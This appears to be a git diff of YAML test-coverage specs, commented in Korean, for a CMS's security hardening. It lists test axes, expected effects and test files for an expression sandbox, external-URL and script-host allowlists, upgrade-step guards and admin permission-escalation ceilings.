case: [safe_expression, arrow_template_literal, constructor_escape, nonstring_key_escape, object_facade_safe]
effects:
- same_expression_same_value_across_paths
- sandbox_escape_blocked
- dangerous_payload_does_not_set_global
# 저장측 외부 URL 차단은 표현식 실행 축(case)과 곱해지지 않는 별개 관심사다 — case 는 "그 식이
# 실행되는가" 를, URL 축은 "그 값이 외부 origin 을 가리키는가" 를 본다. 축으로 올리면 조합을
# 관측하는 지점이 없어 어떤 칸도 커버되지 않으므로 sub_flow 로 분리한다.
sub_flows:
- id: external_url_storage_gate
description: |
레이아웃 저장 시 외부 origin URL 을 거부하는 축. 세 갈래를 함께 잠근다.
- 순회 대상: props·actions 뿐 아니라 init_actions(로드 시 자동 실행 → 외부 nav/apiCall 이
자동 리다이렉트·유출로 이어진다)까지. state/computed 는 데이터 값이라 의도적 제외이며,
실제 위험은 바인딩되는 sink(컴포넌트 prop)에서 발생하고 그 sink 는 이미 검사된다.
- 값 형태: 규칙이 배열 트리뿐 아니라 **문자열 스칼라**도 처리해야 한다. 문자열 필드에서
조기 반환하면 그 부착이 조용한 no-op 이 된다.
- 부착 패리티: Store·Update·UpdateContent·UpdateExtensionContent 4 경로가 동일 강도여야
한다. 편집기 저장 경로만 빠지면 그 경로가 우회로다.
effects:
- init_actions_external_url_rejected
- same_origin_path_in_init_actions_allowed
- plain_string_value_is_inspected_not_skipped
- same_origin_plain_string_allowed
- rule_attached_to_every_layout_content_form_request
test_files:
# 배포 번들 종단 (축·효과 마커 보유)
- tests/Playwright/specs/layout-expression-sandbox.spec.ts
# 소스 잠금 — 평가기 본체와 소비 싱크(바인딩·computed·scripts[].if·렌더 조건), 그리고
# 저장 단계 거부. 축(case)은 배포 번들 E2E 가 커버하고 이 파일들은 효과를 떠받친다.
- resources/js/core/template-engine/__tests__/SafeExpressionEvaluator.test.ts
- resources/js/core/template-engine/__tests__/ConditionEvaluator.sandbox.test.ts
- resources/js/core/__tests__/TemplateApp.safeComputed.test.ts
- tests/Feature/Rules/SafeLayoutExpressionsTest.php
# sub_flow external_url_storage_gate 를 떠받친다.
- tests/Feature/Rules/NoExternalUrlsTest.php
+40
View File
@@ -0,0 +1,40 @@
feature: 레이아웃 scripts[].src 신뢰 호스트 allowlist (KVE-2026-1915 B-2)
description: |
레이아웃이 로드하는 외부 스크립트(scripts[].src)는 same-origin 또는 manifest 가 선언한
신뢰 호스트(활성 확장이 등록한 CDN 등)만 허용한다. 편집자는 신뢰 호스트를 추가할 수 없고
(manifest 는 배포물), 그 외 외부 origin 스크립트는 로드되지 않는다.
집계 체인은 런타임·저장측·정적검사 3층이 동형이며, 저장측(SafeLayoutExpressions/NoExternalUrls)
이 외부 URL 저장을 422 로 차단한다. 본 E2E 는 실제 화면 로드의 모든 script 요청이 same-origin
또는 신뢰 호스트임을 네트워크 레벨에서 무조건 측정한다.
axes:
case: [trusted_hosts_exposed_in_config, active_extension_host_reflected, untrusted_external_script_not_loaded]
effects:
- trusted_script_host_allowlist_wired
- untrusted_external_script_blocked
# 선언 주체(모듈/플러그인/템플릿)는 브라우저 관찰 축(case)과 교차하지 않는 별개 관심사다 —
# case 는 배포 번들이 무엇을 로드하는가를, 선언 주체는 서버가 무엇을 집계하는가를 본다.
# 축으로 올리면 9조합이 되지만 그 조합을 관측하는 지점이 없어(마커가 두 파일에 갈려 있어)
# 어떤 조합도 커버되지 않는다. 관심사를 sub_flow 로 분리한다.
sub_flows:
- id: trusted_host_declaring_subject
description: |
신뢰 호스트 집계는 활성 모듈·플러그인·템플릿 세 주체를 모두 읽는다. 템플릿은 PHP 확장
추상 클래스가 없어(AbstractTemplate 부재) 모듈/플러그인과 집계 경로가 다르므로 별도
회귀 가드가 필요하다 — 이 구분이 없던 동안 코어가 템플릿만 집계하지 않는 상태
(정적검사·문서는 인정, 런타임·저장측은 차단)가 드러나지 않았다.
한 주체의 집계가 실패해도 나머지 주체 집계는 계속되어야 한다(실패 격리).
effects:
- every_extension_type_declaration_is_collected
- malformed_or_absent_declaration_is_ignored
test_files:
- tests/Playwright/specs/layout-script-src-trusted-host.spec.ts
- tests/Unit/Support/TrustedScriptHostsTest.php
# 차단 결정 함수(isAllowedScriptSrc)는 minify 된 배포 번들에서 이름으로 호출할 수 없어
# E2E 는 그 결과만 관찰한다. 결정 자체(신뢰 판정·authority 우회 차단)는 여기서 잠근다.
- resources/js/core/__tests__/TemplateApp.scriptSrc.test.ts
@@ -54,7 +54,64 @@ exclusions:
# 포함되어 PHP compile-time fatal 회피. 정적 검증(DataSnapshotTest) + 실행 검증
# (ExtensionAbstractUpgradeStepFullFlowTest::test_two_extensions_..._isolated_by_namespace)
effects:
# DataSnapshot — 스냅샷 로드/네임스페이스 격리
- empty_snapshot_when_manifest_absent
- versioned_namespace_converts_dots_and_hyphens_to_underscore
- versioned_namespace_branches_by_core_bundled_module_bundled_plugin_external
- same_step_version_different_extensions_get_distinct_namespaces
- manifest_kind_resolves_to_applier_class_and_instantiates
- applier_file_missing_or_namespace_mismatch_throws_runtime_exception
# AbstractUpgradeStep — 위임 규약
- run_delegates_in_order_data_snapshot_then_migrations_then_post_run
- migrations_execute_in_filename_sort_order
- two_digit_prefix_stripped_before_class_name_mapping
- data_dir_absent_silently_skips_without_fatal
# 코어 upgrade step 가드
- core_beta_5_or_later_step_without_abstract_inheritance_throws
- core_beta_5_or_later_step_with_inheritance_runs
- core_legacy_beta_4_or_earlier_step_passes_without_inheritance
# 확장 upgrade step 가드
- bundled_module_ge_beta_5_without_inheritance_throws
- bundled_module_with_inheritance_runs
- bundled_module_legacy_g7_version_bypasses_guard
- bundled_module_callable_closure_bypasses_guard
- step_version_below_extension_since_version_bypasses_guard
- bundled_plugin_mirrors_module_guard_branches
# 확장 전체 흐름
- extension_full_flow_preserves_applier_migration_post_run_order
- data_dir_resolves_to_extension_directory_via_reflection
- manifest_json_absent_is_graceful_silent
- manifest_applier_file_missing_throws_explicit_runtime_exception
- two_modules_same_step_version_same_migration_class_both_run_own_code
# IDV 권한 rename 마이그레이션
- permissions_applier_renames_in_place_when_new_row_absent
- identity_permission_pivot_merges_on_collision_path
- old_pivot_removed_and_new_pivot_preserved_for_dual_granted_role
- permission_rename_is_idempotent_across_repeated_runs
# beta.5 복구 핫픽스
- four_domain_active_directories_recovered
- external_extension_loss_triggers_one_shot_deactivation_with_notice
- pending_stub_regenerated
- lang_packs_bundled_fallback_applied
- public_storage_symlink_restored
# since-version 판정 헬퍼
- resolve_since_version_branches_null_empty_legacy_beta5_or_and_parse_failure
- assert_abstract_inheritance_branches_by_step_version_vs_since_version
- guard_exception_message_includes_extension_type_identifier_step_version_and_core_version
test_files:
- tests/Unit/Extension/Upgrade/DataSnapshotTest.php
- tests/Unit/Extension/AbstractUpgradeStepTest.php
- tests/Unit/Extension/Helpers/ExtensionUpgradeGuardHelperTest.php
- tests/Feature/Upgrades/RunUpgradeStepsAbstractGuardTest.php
- tests/Feature/Upgrades/Upgrade_7_0_0_beta_5PermissionRenameTest.php
- tests/Feature/Upgrades/Upgrade_7_0_0_beta_5RecoveryTest.php
- tests/Feature/Upgrades/ExtensionAbstractGuardTest.php
- tests/Feature/Upgrades/ExtensionAbstractUpgradeStepFullFlowTest.php
# 파일별 커버 범위 상세 (test_files 의 각 항목이 무엇을 보장하는지)
test_coverage_detail:
unit:
- path: tests/Unit/Extension/Upgrade/DataSnapshotTest.php
covers:
@@ -0,0 +1,95 @@
feature: 사용자 등급 상한 + 권한 부여 상한 (KVE-2026-1919)
description: |
슈퍼 관리자 보호와 권한 상승 상한을 삭제/탈퇴 경로뿐 아니라 수정·상태변경·권한부여·역할부여
전 경로에 대칭 적용한다.
- UserGradeGuard: 비-슈퍼 액터는 슈퍼 관리자 계정을 수정/상태변경/unlock 할 수 없다.
- PermissionEscalationGuard: 액터는 자신이 보유하지 않았거나 더 넓은 범위의 권한을 부여할 수
없고, 그 권한을 담은 역할을 사용자에게 통째로 배정(role_ids)할 수도 없다. 역할 조작 상한은
추가·제거 양방향에 대칭 적용된다 — 상한 밖 역할은 붙이지도 떼지도 못한다(하향 조작 차단).
- 코어 admin 역할의 update/toggle-status 는 차단된다. 이 보호는 syncPermissions 를 직접
호출하는 경로에도 적용된다(형제 public 메서드가 우회로가 되지 않도록).
- bulk-status 는 정적 라우트라 스코프 미들웨어가 통째로 우회된다(라우트 모델이 없으면
"목록 엔드포인트" 로 보고 스킵). 따라서 서비스 계층이 **등급 축과 스코프 축을 모두**
재적용한다 — 한 축만 막으면 나머지가 우회로다. 스코프 판정은 상세 경로와 동일한
SSoT(PermissionHelper::checkScopeAccess)에 위임한다.
- 상한 위반으로 거부된 역할 생성/수정은 부분 상태를 남기지 않는다(가드 → 쓰기 순서).
- 슈퍼 관리자 액터는 동일 작업을 정상 수행한다(회귀 없음).
axes:
actor: [sub_admin, super_admin]
operation: [modify, status, unlock, grant_permission, assign_role, remove_role, update_role, toggle_role]
outcome: [blocked, allowed]
exclusions:
- { actor: super_admin, outcome: blocked, reason: "슈퍼 관리자 액터는 상한 우회 — 차단 케이스 없음" }
effects:
- super_admin_write_paths_share_rank_ceiling
- sub_admin_cannot_modify_super_admin
- sub_admin_cannot_grant_unheld_or_broader_permission
- sub_admin_cannot_assign_role_it_cannot_fully_grant
- sub_admin_cannot_remove_role_above_its_ceiling
- sub_admin_cannot_toggle_or_update_core_admin_role
- bulk_status_excludes_super_admin_for_sub_admin
- super_admin_actor_performs_same_operations
- rejected_target_state_and_tokens_unchanged
- sub_admin_can_assign_baseline_default_user_role
- role_assignment_does_not_require_permissions_update
# 과차단 회귀 축 — 가드가 정상 조작까지 막지 않는지. 차단 축만 고정하면 가드가
# 과차단으로 회귀해도 스위트가 green 이다(C-4b baseline 역할 회귀가 그 형태였다).
- sub_admin_retains_normal_operations_on_non_super_targets
- sub_admin_retains_normal_operations_on_unprotected_roles
# 스코프 축 — 등급 축(슈퍼 보호)과 별개다. 상세 경로가 403 으로 막는 대상을 정적
# bulk 라우트로는 바꿀 수 있으면 그 경로가 우회로다.
- bulk_status_reapplies_scope_gate_for_scoped_actor
- bulk_status_allows_scoped_actor_within_own_scope
- detail_route_enforces_scope_gate
# 거부의 원자성 — 403 만 단언하면 부분 쓰기(고아 역할 행 / 반영된 속성 변경)를 놓친다.
- rejected_role_write_leaves_no_partial_state
- sub_admin_cannot_modify_protected_role
# 프론트 게이트 노출값 — 키 존재만 단언하면 다른 리소스 권한으로 되돌아가도 green 이다.
- can_assign_roles_gate_follows_users_update
sub_flows:
- id: reorder_scope_reapply
description: |
정적 순서변경 라우트(`PATCH admin/attachments/reorder` · `PUT admin/menus/order`)의
스코프 축 재적용. bulk-status 와 같은 형태다 — 라우트 모델이 없어 PermissionMiddleware
의 스코프 검사가 스킵되는데, 배포 기본 역할 `manager` 는 그 권한을 self 스코프로
보유한다. 서비스가 PermissionHelper::filterByScope 로 같은 판정을 재적용한다.
사용자 일괄 상태변경과 달리 "제외" 가 아니라 **전량 거부** 다 — 순서는 집합 전체에
대한 하나의 배열이라 일부만 반영하면 나머지와 어긋난 순서가 저장된다.
actor(등급) 축과 교차하지 않는 별개 관심사라 축이 아니라 sub_flow 로 둔다. 축으로
올리면 operation 이 10값이 되어 super_admin × reorder 조합까지 요구되는데, 슈퍼
관리자는 글로벌 스코프라 그 칸이 검증하는 것이 없다(sub_flow `listener_ip_boundary`
와 같은 판단).
effects:
- attachment_reorder_reapplies_scope_gate
- attachment_reorder_allows_in_scope_targets
- menu_order_reapplies_scope_gate
- menu_order_allows_in_scope_targets
# 형제 public 메서드 패리티 — HTTP 경로만 막으면 서비스를 주입한 확장이 우회한다.
- menu_order_service_method_guard_parity
# 과차단 회귀 축 — 이동 항목의 새 부모까지 검사하면 공용 상위 메뉴 아래에 자기 메뉴를
# 다는 정상 사용이 막힌다(착수했다가 철회한 범위를 코드 주석이 아니라 테스트로 고정).
- menu_order_move_under_others_parent_allowed
- id: security_exception_renderer
description: |
등급 상한 예외 3종의 전역 렌더러(`bootstrap/app.php`) 계약. 심층 방어라 actor·operation
축과 교차하지 않는 별개 관심사이므로 sub_flow 로 둔다.
현재 호출부(UserController · RoleController)는 전부 로컬 catch 로 403 을 만들기 때문에,
렌더러 블록을 통째로 지워도 나머지 스위트는 전건 green 이 된다 — "새 호출부가 로컬 catch
없이 던져도 조용한 500 대신 403" 이라는 렌더러의 존재 이유는 그 경로를 직접 거는
테스트만이 잠근다.
effects:
- ceiling_exceptions_render_as_403_without_local_catch
test_files:
- tests/Feature/Security/RankCeilingGuardTest.php
- tests/Feature/Security/SecurityExceptionRendererTest.php